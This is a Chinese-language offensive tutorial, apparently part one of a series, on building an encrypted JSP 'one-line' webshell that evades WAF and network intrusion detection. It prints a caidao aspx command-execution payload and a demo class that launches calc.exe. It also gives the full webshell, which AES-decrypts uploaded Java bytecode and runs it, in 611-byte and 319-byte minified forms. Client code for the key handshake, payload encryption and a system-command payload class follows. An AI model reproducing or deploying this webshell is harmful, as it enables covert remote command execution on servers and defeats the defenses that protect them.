本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.net篇
利用动态二进制加密实现新型一句话木马之php篇
利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍
一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。
在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:
Payload如下:
caidao=Response.Write("->|"); var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D
可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。
当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……
其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:
如下为执行流程图:
想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:
首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:
因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下:
package net.rebeyond; import sun.misc.BASE64Decoder; public class Demo { public static class Myloader extends ClassLoader //继承ClassLoader { public Class get(byte[] b) { return super.defineClass(b, 0, b.length); } } public static void main(String[] args) throws Exception { // TODO Auto-generated method stub String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw=="; BASE64Decoder code=new sun.misc.BASE64Decoder(); Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 System.out.println(result.newInstance().toString()); } }
上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:
package net.rebeyond; import java.io.IOException; public class Payload { @Override public String toString() { // TODO Auto-generated method stub try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return "OK"; } }
简单解释一下上述代码:
到此,我们就可以直接动态解析并执行编译好的class字节流了。
首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:
if (request.getMethod().equalsIgnoreCase("get")) { String k = UUID.randomUUID().toString().replace("-","").substring(0, 16); request.getSession().setAttribute("uid", k); out.println(k); return; }
这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。
当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。
重新翻看了一下Object类的方法列表:
可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。
方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?
JSP有9个内置对象:
但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。
解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:
<%@ page import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%> <%! /* 定义ClassLoader的子类Myloader */ public static class Myloader extends ClassLoader { public Myloader(ClassLoader c) {super(c);} public Class get(byte[] b) { //定义get方法用来将指定的byte[]传给父类的defineClass return super.defineClass(b, 0, b.length); } } %> <% if (request.getParameter("pass")!=null) { //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定 String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16); //随机生成一个16字节的密钥 request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中 out.print(k); //将密钥发送给客户端 return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行 } /* 当请求为非握手请求时,执行下面的分支,准备解密数据并执行 */ String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码 Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件 c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥 Byte[] classData= c.doFinal(encryptedData); //AES解密操作 Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化 String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。 %>
为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>
至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。
客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:
public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception { Map<String, String> result = new HashMap<String, String>(); StringBuffer sb = new StringBuffer(); InputStreamReader isr = null; BufferedReader br = null; URL url = new URL(getUrl); URLConnection urlConnection = url.openConnection(); String cookieValue = urlConnection.getHeaderField("Set-Cookie"); result.put("cookie", cookieValue); isr = new InputStreamReader(urlConnection.getInputStream()); br = new BufferedReader(isr); String line; while ((line = br.readLine()) != null) { sb.append(line); } br.close(); result.put("key", sb.toString()); return result; }
我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:
public class Cmd { public static String cmd; @Override public boolean equals(Object obj) { // TODO Auto-generated method stub PageContext page = (PageContext) obj; page.getResponse().setCharacterEncoding("UTF-8"); Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding")); try { String result = ""; if (cmd != null && cmd.length() > 0) { Process p; if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) { p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd }); } else { p = Runtime.getRuntime().exec(cmd); } BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312")); String disr = br.readLine(); while (disr != null) { result = result + disr + "/n"; disr = br.readLine(); } result = new String(result.getBytes(osCharset)); page.getOut().write(result.trim()); } } catch (Exception e) { try { page.getOut().write(e.getMessage()); } catch (IOException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } return true; }
上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:
public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception { byte[] result; ClassReader classReader = new ClassReader(clsName); final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); classReader.accept(new ClassAdapter(cw) { @Override public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) { // TODO Auto-generated method stub if (params.containsKey(filedName)) { String paramValue=params.get(filedName); return super.visitField(arg0, filedName, arg2, arg3, paramValue); } return super.visitField(arg0, filedName, arg2, arg3, arg4); }},0); result=cw.toByteArray(); return result; }
我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。
利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:
public static String getData(String key,String className,Map<String,String> params) throws Exception { byte[] bincls=Params.getParamedClass(className, params); byte[] encrypedBincls=Decrypt.Encrypt(bincls,key); String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls); return basedEncryBincls; }
Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。
下面我找了一个测试站点来演示一下绕过防御系统的效果:
首先我上传一个常规的jsp一句话木马:
然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:
然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:
本篇完。